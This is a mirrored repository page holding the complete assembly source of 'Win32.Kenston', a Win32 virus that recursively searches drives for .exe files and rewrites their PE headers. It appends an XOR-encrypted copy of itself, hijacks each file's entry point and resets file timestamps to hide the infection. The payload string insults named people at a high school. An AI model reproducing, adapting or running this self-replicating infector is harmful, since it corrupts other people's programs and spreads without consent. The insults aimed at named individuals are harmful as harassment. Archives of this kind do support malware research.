mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-30 06:55:27 +00:00
773 lines
25 KiB
NASM
773 lines
25 KiB
NASM
Win32.Kenston
|
|
.386
|
|
locals
|
|
jumps
|
|
.model flat, STDCALL
|
|
|
|
extrn ExitProcess : PROC
|
|
|
|
org 1000h
|
|
.data
|
|
db "This is a virus.",0
|
|
|
|
.code
|
|
progstart:
|
|
push 0
|
|
call ExitProcess
|
|
|
|
|
|
STARTVIRUS:
|
|
|
|
call relativity
|
|
relativity:
|
|
pop ebp
|
|
cld
|
|
mov eax, ebp
|
|
|
|
db 2dh ;sub eax,
|
|
SaveEntry dd (offset relativity- offset progstart)
|
|
push eax
|
|
sub ebp, offset relativity
|
|
|
|
mov ecx, dword ptr [esp + 4]
|
|
and ecx, 0FFF00000h
|
|
mov ebx, 0BFF70000h ;Base address of win95's kernel
|
|
cmp ecx, 0BFF00000h ;are we win95 or 98?
|
|
je vulnerable
|
|
mov ebx, 077f00000h
|
|
cmp ecx, ebx ;are we NT?
|
|
jne exit
|
|
|
|
|
|
vulnerable:
|
|
|
|
mov ecx, ebx
|
|
mov edx, ecx ;Put imagebase in edx
|
|
mov dword ptr [ebp + imagebase], ecx ;Save the imagebase
|
|
|
|
xor eax, eax ;Clear eax
|
|
mov ax, word ptr [edx + 3Ch] ;Get relocation in MZ header
|
|
add ecx, eax ;Make ecx start of PE header
|
|
|
|
cmp word ptr [ecx], 'EP' ;Is everything working right?
|
|
jne exit
|
|
|
|
mov eax, dword ptr [ecx + 120] ;Get RVA of export table
|
|
|
|
add eax, edx ;Add on the Imagebase
|
|
mov dword ptr [ebp + offset ExportTable], eax ;Save the exporttable's address
|
|
|
|
mov ecx, dword ptr [eax + 24] ;Get number of entry's
|
|
dec ecx ;Drop number by one so bottom loop works
|
|
mov dword ptr [ebp + offset NumExports], ecx ;Store number of entrys
|
|
|
|
mov ecx, dword ptr [eax + 28] ;Get RVA of the Address Table
|
|
add ecx, edx ;Bias it by the Image Base
|
|
mov dword ptr [ebp + offset AddressTable], ecx ;Save the address
|
|
|
|
mov ecx, dword ptr [eax + 36] ;Get RVA of the Ordinal Table
|
|
add ecx, edx ;Bias it by the Image Base
|
|
mov dword ptr [ebp + offset OrdinalTable], ecx ;Save the address
|
|
|
|
mov ecx, dword ptr [eax + 32] ;Get RVA of the Name Table
|
|
add ecx, edx ;Bias it by the Image Base
|
|
mov dword ptr [ebp + offset NameTable], ecx ;Save the address
|
|
|
|
;Upon entry:
|
|
; ecx=start of RVA String table
|
|
; edx=imagebase
|
|
; ebx=start of string of function to resolve
|
|
;Returns:
|
|
; ebx=Address of function
|
|
|
|
lea ebx, [ebp + offset LoadLibraryaS] ;Function to scan for
|
|
push ecx ;Save start of RVA name table
|
|
call resolveexport ;Resolve LoadLibraryA
|
|
|
|
|
|
pop ecx
|
|
mov dword ptr [ebp + offset loadlibrarya], ebx ;Save address of loadlibrarya
|
|
|
|
lea ebx, [ebp + GetProcAddressS] ;Load address of function to resolve
|
|
call resolveexport ;Resolve getprocaddress
|
|
mov dword ptr [ebp + offset getprocaddress], ebx ;Save getprocaddress
|
|
|
|
|
|
lea esi, [ebp + offset APIList] ;Where function strings are started
|
|
lea edi, [ebp + offset FindFile] ;Where to store resolved address's
|
|
call maketable
|
|
|
|
lea ebx, [ebp + offset DirSave]
|
|
push ebx
|
|
push 256
|
|
mov ebx, [ebp + offset GetCurrentDir]
|
|
call ebx
|
|
cmp eax, 00h
|
|
je exit ;If not successfull then quit
|
|
|
|
lea ebx, [ebp + offset Root] ;Go to the root directory
|
|
push ebx
|
|
mov ebx, dword ptr [ebp + offset SetCurrentDir]
|
|
call ebx
|
|
cmp eax, 01 ;Were we sucessfull?
|
|
jne exit ;If not then exit
|
|
|
|
call InfectFirstDirectory
|
|
|
|
lea ebx, [ebp + offset DirSave] ;Go to the original directory
|
|
push ebx
|
|
mov ebx, dword ptr [ebp + offset SetCurrentDir]
|
|
call ebx
|
|
|
|
exit:
|
|
pop eax ;Return to host
|
|
jmp eax
|
|
|
|
|
|
InfectFirstDirectory:
|
|
lea ebx, [ebp + offset win32_file_data]
|
|
push ebx
|
|
lea ebx, [ebp + offset DirWildCard]
|
|
push ebx
|
|
mov ebx, dword ptr [ebp + offset FindFile]
|
|
call ebx
|
|
cmp eax, -1
|
|
je DoneDirScanning
|
|
mov dword ptr [ebp + offset DirSearchHandle], eax ;Save our search handle
|
|
|
|
cmp dword ptr [ebp + offset fileattr], 10h
|
|
jne NotADir1
|
|
cmp byte ptr [ebp + offset Fullname], '.'
|
|
je InfectNextDirectory
|
|
|
|
|
|
call TryInfectingDir ;Try infecting the possible directory
|
|
NotADir1:
|
|
|
|
InfectNextDirectory:
|
|
|
|
lea ebx, [ebp + offset win32_file_data] ;Where to store fileinfo
|
|
push ebx
|
|
push dword ptr [ebp + offset DirSearchHandle]
|
|
mov ebx, dword ptr [ebp + offset FindNext]
|
|
call ebx ;Find next file
|
|
|
|
cmp eax, 01
|
|
jne DoneDirScanningNoneFound
|
|
|
|
cmp dword ptr [ebp + offset fileattr], 10h
|
|
jne NotADir2
|
|
cmp byte ptr [ebp + offset Fullname], '.'
|
|
je NotADir2
|
|
|
|
call TryInfectingDir
|
|
NotADir2:
|
|
jmp InfectNextDirectory
|
|
|
|
|
|
DoneDirScanning:
|
|
|
|
push dword ptr [ebp + offset DirSearchHandle] ;Close the search handle
|
|
mov eax, [ebp + offset FindClose]
|
|
call eax
|
|
|
|
DoneDirScanningNoneFound:
|
|
ret
|
|
|
|
TryInfectingDir:
|
|
|
|
lea ebx, [ebp + offset FullName] ;Go to the dir we found
|
|
push ebx
|
|
mov ebx, dword ptr [ebp + offset SetCurrentDir]
|
|
call ebx
|
|
cmp eax, 01 ;Was it really a directory?
|
|
jne NotaDirectory ;If not dont infect it or drop out of it
|
|
|
|
call FindFirstFile
|
|
|
|
push dword ptr [ebp + offset DirSearchHandle]
|
|
call InfectFirstDirectory
|
|
pop dword ptr [ebp+ offset DirSearchHandle]
|
|
|
|
lea ebx, [ebp + offset DotDot] ;We are going to the previous dir
|
|
push ebx
|
|
mov ebx, dword ptr [ebp + offset SetCurrentDir]
|
|
call ebx
|
|
NotaDirectory:
|
|
ret
|
|
|
|
|
|
|
|
|
|
|
|
|
|
FindFirstFile:
|
|
|
|
lea ebx, [ebp + offset win32_file_data] ;Where file info goes
|
|
push ebx
|
|
lea ebx, [ebp + offset EXEWildcard] ;What to search for
|
|
push ebx
|
|
mov ebx, dword ptr [ebp + offset FindFile] ;Find first file
|
|
call ebx
|
|
|
|
cmp eax, -1 ;Error?
|
|
je ExitScanning
|
|
mov dword ptr [ebp + offset SearchHandle], eax ;Save search handle
|
|
|
|
jmp check_file
|
|
|
|
FindNextFile:
|
|
|
|
lea ebx, [ebp + offset win32_file_data] ;Where to store fileinfo
|
|
push ebx
|
|
push dword ptr [ebp + offset SearchHandle] ;Saved search handle
|
|
mov ebx, dword ptr [ebp + offset FindNext]
|
|
call ebx ;Find next file
|
|
|
|
|
|
cmp eax, 01
|
|
jne DoneScanning
|
|
|
|
|
|
check_file:
|
|
|
|
|
|
push 0
|
|
push 20h
|
|
push 3 ;Open existing file
|
|
push 0
|
|
push 0
|
|
push 80000000h + 40000000h ;Open for reading and writing
|
|
lea ebx, [ebp + offset fullname]
|
|
push ebx
|
|
mov ebx, dword ptr [ebp + offset Createfile]
|
|
call ebx
|
|
|
|
cmp eax, -1 ;Was there any error?
|
|
je FindNextFile
|
|
|
|
mov dword ptr [ebp + FileHandle], eax ;Save file handle
|
|
|
|
xor eax, eax
|
|
lea edi, [ebp + offset WorkBuffer + 56] ;Go to memory to initalize
|
|
stosd
|
|
stosd ;This fixes a very lame bug, It should really zero out the
|
|
;whole workbuffer before each file
|
|
;is read but since its a runtime virus its written
|
|
;for efficency.
|
|
|
|
|
|
mov edx, 63 ;Read in first 63 bytes
|
|
lea ecx, [ebp + offset WorkBuffer] ;Buffer we read into
|
|
call Read_file
|
|
|
|
cmp dword ptr [ebp + offset BytesRead], 63
|
|
jb TryNext ;Did we read in enough?
|
|
|
|
lea ebx, [ebp + offset WorkBuffer]
|
|
cmp word ptr [ebx], 'ZM' ;Is it an exe?
|
|
jne TryNext ;If it isnt scan next file
|
|
|
|
add ebx, 3Bh ;Go to the infection marker
|
|
|
|
cmp byte ptr [ebx], 'a' ;are we infected already?
|
|
je TryNext ;If so try next file
|
|
inc ebx ;Point to relocation
|
|
mov edx, dword ptr [ebx] ;Read the relocation
|
|
|
|
mov dword ptr [ebp + offset MZReloc], edx ;Save the relocation
|
|
|
|
call Set_Pointer ;Set file pointer to PE header
|
|
|
|
cmp eax, 0FFFFFFFFh
|
|
je TryNext
|
|
|
|
mov edx, 120 ;Try to read in first 120 bytes of PE Header
|
|
lea ecx, [ebp + offset WorkBuffer] ;Buffer we read into
|
|
call Read_file
|
|
cmp dword ptr [ebp + offset BytesRead], 120
|
|
jne TryNext ;Did we read in enough?
|
|
|
|
cmp word ptr [ebp + offset WorkBuffer], 'EP' ;Are we in in the peheader?
|
|
jne TryNext
|
|
|
|
mov ebx, dword ptr [ebp + offset HeaderSze] ;Get the HeaderSize
|
|
sub ebx, dword ptr [ebp + offset MZReloc] ;Subtract the MZ header
|
|
mov dword ptr [ebp + offset HeaderSize], ebx ;Save the PE header's size
|
|
|
|
cmp ebx, 3000 ;Are we going to overflow our memory?
|
|
ja TryNext
|
|
push ebx ;Save number of bytes to read in
|
|
|
|
mov edx, dword ptr [ebp + offset MZReloc] ;Reset pointer back to the peheader
|
|
call Set_Pointer
|
|
|
|
cmp eax, 0FFFFFFFFh
|
|
je TryNext
|
|
|
|
pop edx ;Try to read in HeaderSize bytes
|
|
lea ecx, [ebp + offset WorkBuffer] ;Buffer we read into
|
|
call Read_file
|
|
|
|
mov ebx, dword ptr [ebp + offset Headersize] ;How many bytes should have been read?
|
|
cmp ebx, dword ptr [ebp + offset BytesRead]
|
|
jne TryNext ;Did we read in enough?
|
|
|
|
xor ecx, ecx
|
|
mov cx, word ptr [ebp + offset NumObjects] ;Read in number of objects
|
|
|
|
cmp cx, 00h ;Are there objects?
|
|
je TryNext
|
|
|
|
xor ebx, ebx
|
|
mov bx, word ptr [ebp + offset NTHeaderSze] ;Read in the NTHeaderSize
|
|
add ebx, 24 ;Add on the rest
|
|
|
|
lea edx, dword ptr [ebp + offset WorkBuffer]
|
|
;Workbuffer + NTHeadersize + 24 = start of object table
|
|
add edx, ebx ;Locate the object table
|
|
|
|
push edx ;Save start of object table
|
|
xor edx, edx
|
|
mov eax, ecx ;Handoff # of objects
|
|
mov ecx, 40 ;Each object is 40 bytes long
|
|
mul ecx ;# objects * 40
|
|
sub eax, 40 ;Backtrack to start of last object
|
|
|
|
pop edx ;Make edx the start of the object table in memory
|
|
|
|
add edx, eax ;Point edx to last object
|
|
|
|
mov ebx, dword ptr [edx + 20] ;Load the Physical Offset
|
|
push ebx ;Save for use with virtual size
|
|
mov eax, dword ptr [edx + 16] ;Load the Physical Size
|
|
add ebx, eax ;Add them together
|
|
mov edi, dword ptr [ebp + offset FileSize] ;Wont work if file is larger than 4.3 gigs...oh well
|
|
|
|
add edi, (offset EndVirus - offset StartVirus) + (offset Encryptionframe - offset Encrypt) ;Put on the virussize of our virus in memory
|
|
|
|
sub edi, ebx ;Determine distance from end of virus to old end of object
|
|
add eax, edi ;Make our new physical size
|
|
|
|
mov ebx, eax
|
|
sub ebx, (offset EndVirus- offset StartVirus) + (offset Encryptionframe - offset Encrypt)
|
|
|
|
mov esi, dword ptr [edx + 12] ;Get RVA for determining entrypointRVA
|
|
add esi, ebx ;Find out our entrypointRVA
|
|
|
|
|
|
mov dword ptr [ebp + offset VirusRVA], esi ;Save the virus's RVA
|
|
|
|
add esi, dword ptr [ebp + offset ImgBase] ;Make the Entrypoint RVA the EntrypointVA
|
|
add esi, (offset EncryptionFrame - offset Encrypt) ;Make it point to the encrypted virus in memory
|
|
mov dword ptr [ebp + offset VirusVA], esi ;Save the VA for later
|
|
|
|
mov ecx, dword ptr [ebp + offset FileAlign] ;Get our alignment value
|
|
|
|
; call File_Align ;Aligns eax
|
|
|
|
mov dword ptr [edx + 16], eax ;Save our new physical size
|
|
|
|
pop ebx ;Load the physical offset
|
|
mov eax, dword ptr [edx + 8] ;Load the virtual size
|
|
add ebx, eax ;Determine end of virtual space
|
|
mov edi, dword ptr [ebp + offset FileSize]
|
|
add edi, (offset BufferEnd - offset StartVirus) + (offset EncryptionFrame - offset Encrypt) ;Add the virus and its heap to it
|
|
|
|
sub edi, ebx ;Determine distance between end of virus's heap and end of virtual space
|
|
|
|
add edi, eax ;Make our virtual size
|
|
|
|
mov dword ptr [edx + 8], edi ;Save our new virtualsize
|
|
|
|
mov ecx, dword ptr [edx + 12] ;Get the objects RVA
|
|
add ecx, edi ;Make our new ImageSize
|
|
mov dword ptr [ebp + offset ImageSize], ecx ;Save our new Imagesize
|
|
|
|
mov dword ptr [edx + 36], 0E0000040h ;Fix the flags
|
|
|
|
;We do all the dispatcher and loading shit here
|
|
mov ecx, dword ptr [ebp + offset EntrypointRVA]
|
|
|
|
mov eax, dword ptr [ebp + offset VirusRVA]
|
|
mov dword ptr [ebp + offset EntrypointRVA], eax
|
|
|
|
sub eax, ecx
|
|
|
|
add eax, (offset relativity - offset startvirus) + (offset EncryptionFrame - offset Encrypt) ;Makeup for the call instruction
|
|
|
|
mov dword ptr [ebp + offset SaveEntry], eax
|
|
|
|
mov edx, 3Bh ;Offset we write marker byte at
|
|
|
|
call Set_Pointer ;Go to place to write marker
|
|
|
|
mov ebx, 1h ;Write one byte
|
|
lea ecx, dword ptr [ebp + offset InfectionMarker] ;The byte to write
|
|
call Write_File ;Write the infection marker
|
|
|
|
mov edx, dword ptr [ebp + offset MZReloc]
|
|
call Set_Pointer ;Goto the start of the peheader
|
|
|
|
mov ebx, dword ptr [ebp + offset BytesRead] ;How much to write
|
|
lea ecx, [ebp + offset WorkBuffer] ;Write our modified PE header
|
|
call Write_File ;Write it!
|
|
|
|
|
|
lea esi, [ebp + offset StartVirus] ;Copy the virus to the work buffer to encrypt
|
|
lea edi, [ebp + offset WorkBuffer] ;Where to copy it
|
|
mov dword ptr [ebp + offset StartEncrypt], edi ;We use this below
|
|
|
|
mov ecx, (offset EndVirus - offset StartVirus) ;How much to copy
|
|
rep movsb
|
|
|
|
inc byte ptr [ebp + offset Key] ;Change the key
|
|
|
|
Call Encrypt ;Encrypt our code
|
|
|
|
mov ebx, dword ptr [ebp + VirusVA] ;Get our Entrypoint VA
|
|
mov dword ptr [ebp + offset StartEncrypt], ebx ;Store it in the routine
|
|
|
|
xor edx,edx
|
|
call Set_EOF ;Go to EOF
|
|
|
|
mov ebx, (offset EncryptionFrame - offset Encrypt) ;Size of encryption routine to write
|
|
lea ecx, [ebp + offset Encrypt] ;Write encryption routine
|
|
call Write_File
|
|
|
|
mov ebx, (offset EndVirus - offset StartVirus) ;Size of the virus to write
|
|
lea ecx, [ebp + offset WorkBuffer] ;Where the encrypted virus is in memory
|
|
call Write_File ;Write the virus
|
|
|
|
lea ebx, [ebp + offset LastWriteTime] ;Get ptr to last writetime
|
|
push ebx
|
|
sub ebx,8 ;Point it to lastaccesstime
|
|
push ebx
|
|
sub ebx, 8 ;Point it to createtime
|
|
push ebx
|
|
push dword ptr [ebp + offset FileHandle] ;Push on the file handle
|
|
mov ebx, dword ptr [ebp + offset SetFileTime]
|
|
call ebx ;Change the file's times
|
|
|
|
call Close_File
|
|
|
|
|
|
|
|
DoneScanning:
|
|
|
|
push dword ptr [ebp + offset SearchHandle]
|
|
mov eax, [ebp + offset FindClose]
|
|
call eax
|
|
|
|
|
|
ExitScanning:
|
|
|
|
ret
|
|
|
|
TryNext:
|
|
|
|
call Close_File
|
|
|
|
jmp FindNextFile
|
|
|
|
Read_File:
|
|
|
|
push 0
|
|
lea ebx, [ebp + offset BytesRead] ;Where to put # of bytes read
|
|
push ebx
|
|
|
|
push edx ;Number of bytes to read
|
|
push ecx ;Address of buffer
|
|
push dword ptr [ebp + offset FileHandle]
|
|
mov ebx, dword ptr [ebp + offset ReadFile]
|
|
call ebx ;Read the file
|
|
|
|
ret
|
|
|
|
Write_File:
|
|
push 0
|
|
lea eax, [ebp + offset BytesWritten]
|
|
push eax ;Where to return # of bytes written
|
|
|
|
push ebx ;# of bytes to write
|
|
push ecx ;Where to write from
|
|
push dword ptr [ebp + offset FileHandle]
|
|
mov ebx, dword ptr [ebp + offset WriteFile]
|
|
call ebx
|
|
ret
|
|
|
|
|
|
;Upon Entry:
|
|
; edx=New actual address in file
|
|
|
|
|
|
Set_EOF:
|
|
push 02h
|
|
jmp jumpover
|
|
Set_Pointer:
|
|
push 00
|
|
|
|
jumpover:
|
|
|
|
push 0
|
|
push edx ;Where to go in file
|
|
push dword ptr [ebp + offset FileHandle]
|
|
mov ebx, [ebp + offset SetFilePointer]
|
|
call ebx
|
|
ret
|
|
|
|
|
|
|
|
File_Align:
|
|
|
|
;Upon entry ecx = alignment value
|
|
;eax = Size to process
|
|
;eax returns aligned size
|
|
push edx
|
|
xor edx, edx
|
|
div ecx
|
|
inc eax
|
|
mul ecx
|
|
|
|
pop edx
|
|
ret
|
|
|
|
Close_File:
|
|
|
|
push dword ptr [ebp + offset FileHandle]
|
|
mov eax, dword ptr [ebp + offset CloseFile]
|
|
call eax ;Close the file
|
|
ret
|
|
|
|
|
|
;Upon entry:
|
|
; esi=Function string table.
|
|
; edi=Our address table.
|
|
|
|
|
|
maketable:
|
|
|
|
lea ebx, [ebp + offset loadlibrarya]
|
|
push esi ;Next in string table
|
|
call dword ptr [ebx] ;call loadlibrarya
|
|
mov edx, eax ;Save module handle
|
|
|
|
loopuntilnull:
|
|
|
|
inc esi
|
|
cmp byte ptr [esi], 00h
|
|
jne loopuntilnull ;loop until at end of string
|
|
inc esi
|
|
cmp byte ptr [esi], 01h ;Are we on last loop?
|
|
je donelooping
|
|
|
|
|
|
lea ebx, [ebp + offset GetProcAddress]
|
|
|
|
push edx
|
|
push esi ;pointer to function name
|
|
push edx ;base address of dll
|
|
call dword ptr [ebx] ;Getprocaddress in import table
|
|
pop edx
|
|
stosd
|
|
jmp loopuntilnull
|
|
|
|
donelooping:
|
|
|
|
ret
|
|
|
|
|
|
|
|
|
|
|
|
|
|
resolveexport:
|
|
;Upon entry:
|
|
; ecx=start of RVA String table
|
|
; edx=imagebase
|
|
; ebx=start of string of function to resolve
|
|
;Returns:
|
|
; ebx=Address of function
|
|
|
|
xor edi,edi
|
|
|
|
scanstring:
|
|
mov esi, dword ptr [ecx] ;Load RVA of string to scan
|
|
add esi, edx ;Bias it by the Imagebase
|
|
|
|
push ebx ;Bad way to save ebx for later use
|
|
|
|
scanloop:
|
|
lodsb
|
|
|
|
cmp al, 00h ;Is it a null character?
|
|
je foundstring
|
|
cmp byte ptr [ebx], al ;Does the character match?
|
|
jne scannext ;If not scan next string
|
|
|
|
inc ebx ;Advance the byte we are
|
|
;scanning for.
|
|
jmp scanloop
|
|
scannext:
|
|
pop ebx
|
|
add ecx, 4 ;Move it to the next export?
|
|
inc edi ;Increment the counter
|
|
cmp dword ptr [ebp + NumExports], edi ;Are we on last export?
|
|
je exit ;Abort if out of exports
|
|
|
|
jmp scanstring
|
|
|
|
foundstring:
|
|
pop ebx ;Keep the stack nice and neat
|
|
|
|
add edi, edi ;Multiply by 2 because Ordinal
|
|
;Table is 16 bits
|
|
mov ebx, dword ptr [ebp + OrdinalTable]
|
|
add edi, ebx ;Point edi to getprocaddress's entry
|
|
|
|
xor ebx, ebx
|
|
mov bx, word ptr [edi] ;Get 16bit ordinal number
|
|
|
|
lea ebx, [ebx * 4] ;Multiply by 4 because the Address
|
|
;table is made of double words.
|
|
mov esi, dword ptr [ebp + AddressTable]
|
|
add esi, ebx ;Point esi to RVA in addresstable
|
|
|
|
mov ebx, dword ptr [esi] ;Move RVA to ebx
|
|
add ebx, edx ;Offset it with the imagebase
|
|
|
|
ret
|
|
|
|
Encrypt:
|
|
mov ecx, (offset EndVirus - offset StartVirus)
|
|
|
|
db 0BBh ;Mov ebx,
|
|
StartEncrypt dd 000000000h
|
|
db 0B0h ;mov al,
|
|
Key db 00h
|
|
|
|
|
|
XorLoop:
|
|
xor byte ptr [ebx], al
|
|
inc ebx
|
|
dec ecx
|
|
cmp ecx, 00h
|
|
jne XorLoop
|
|
EncryptionFrame:
|
|
ret
|
|
|
|
STARTDATA:
|
|
;We use these to find functions in KERNEL32.DLL's export table
|
|
LoadLibraryAS db "LoadLibraryA"
|
|
GetProcAddressS db "GetProcAddress"
|
|
|
|
;These are the functions we need to get the address's of:
|
|
APIList:
|
|
db "KERNEL32",0
|
|
db "FindFirstFileA",0
|
|
db "FindNextFileA",0
|
|
db "FindClose",0
|
|
db "SetFileAttributesA",0
|
|
db "SetFileTime",0
|
|
db "CreateFileA",0
|
|
db "ReadFile",0
|
|
db "WriteFile",0
|
|
db "SetFilePointer",0
|
|
db "CloseHandle",0
|
|
db "SetCurrentDirectoryA",0
|
|
db "GetCurrentDirectoryA",0,01h ;01h stops the looking up
|
|
|
|
|
|
db "Boles and Manning are arrogant facists."
|
|
db " They have no computer sk1llz and KENSTON HIGH SCHOOL's"
|
|
db " computers are 0wn3d. I AM BACK KOONS YOU MOTHERFUCKER "
|
|
db "dowN wiTh KenSTON..... yOU tRIED tO rID yOUrSELf oF mE BefoRE"
|
|
db "bUT fAILED"
|
|
db "HAHAHAHAHAHAHAHAHAHAHAHAHAHAHA"
|
|
|
|
DirWildcard db "*.",0
|
|
EXEWildcard db "*.exe",0
|
|
InfectionMarker db "a"
|
|
DotDot db "..",0
|
|
root db "",0
|
|
|
|
ENDVIRUS:
|
|
|
|
;These are addresses already offseted by the Image base when saved
|
|
ImageBase dd 1 dup (?)
|
|
ExportTable dd 1 dup (?)
|
|
AddressTable dd 1 dup (?)
|
|
NameTable dd 1 dup (?)
|
|
OrdinalTable dd 1 dup (?)
|
|
NumExports dd 1 dup (?)
|
|
GetProcAddressCall dd 1 dup (?)
|
|
|
|
|
|
;These are used in infecting files
|
|
BytesWritten dd 1 dup (?)
|
|
SearchHandle dd 1 dup (?)
|
|
DirSearchHandle dd 1 dup (?)
|
|
FileHandle dd 1 dup (?)
|
|
BytesRead dd 1 dup (?)
|
|
MZReloc dd 1 dup (?)
|
|
HeaderSize dd 1 dup (?)
|
|
NTHeaderSize dd 1 dup (?)
|
|
VirusRVA dd 1 dup (?)
|
|
InfectCounter dd 1 dup (?)
|
|
VirusVA dd 1 dup (?)
|
|
|
|
;Place to store the two routines used to look up the rest
|
|
LoadLibraryA dd 1 dup (?)
|
|
GetProcAddress dd 1 dup (?)
|
|
|
|
;This becomes a table of these functions address's
|
|
FindFile dd 1 dup (?)
|
|
FindNext dd 1 dup (?)
|
|
FindClose dd 1 dup (?)
|
|
SetAttrib dd 1 dup (?)
|
|
SetFileTime dd 1 dup (?)
|
|
CreateFile dd 1 dup (?)
|
|
ReadFile dd 1 dup (?)
|
|
WriteFile dd 1 dup (?)
|
|
SetFilePointer dd 1 dup (?)
|
|
CloseFile dd 1 dup (?)
|
|
SetCurrentDir dd 1 dup (?)
|
|
GetCurrentDir dd 1 dup (?)
|
|
|
|
DirSave db 256 dup (?)
|
|
|
|
win32_file_data:
|
|
fileattr dd 1 dup (?)
|
|
createtime dd 2 dup (?)
|
|
lastaccesstime dd 2 dup (?)
|
|
lastwritetime dd 2 dup (?)
|
|
dd 1 dup (?)
|
|
filesize dd 1 dup (?)
|
|
resv dd 2 dup (?)
|
|
fullname db 256 dup (?)
|
|
realname db 256 dup (?)
|
|
|
|
WorkBuffer:
|
|
|
|
Signature dd 1 dup (?)
|
|
Cputype dw 1 dup (?)
|
|
NumObjects dw 1 dup (?)
|
|
dd 3 dup (?)
|
|
NtHeaderSze dw 1 dup (?)
|
|
Flags dw 1 dup (?)
|
|
dd 4 dup (?)
|
|
EntrypointRVA dd 1 dup (?)
|
|
dd 2 dup (?)
|
|
ImgBase dd 1 dup (?)
|
|
Objectalign dd 1 dup (?)
|
|
Filealign dd 1 dup (?)
|
|
dd 4 dup (?)
|
|
Imagesize dd 1 dup (?)
|
|
Headersze dd 1 dup (?)
|
|
|
|
db 3000 dup (?)
|
|
BufferEnd:
|
|
|
|
ends
|
|
end STARTVIRUS
|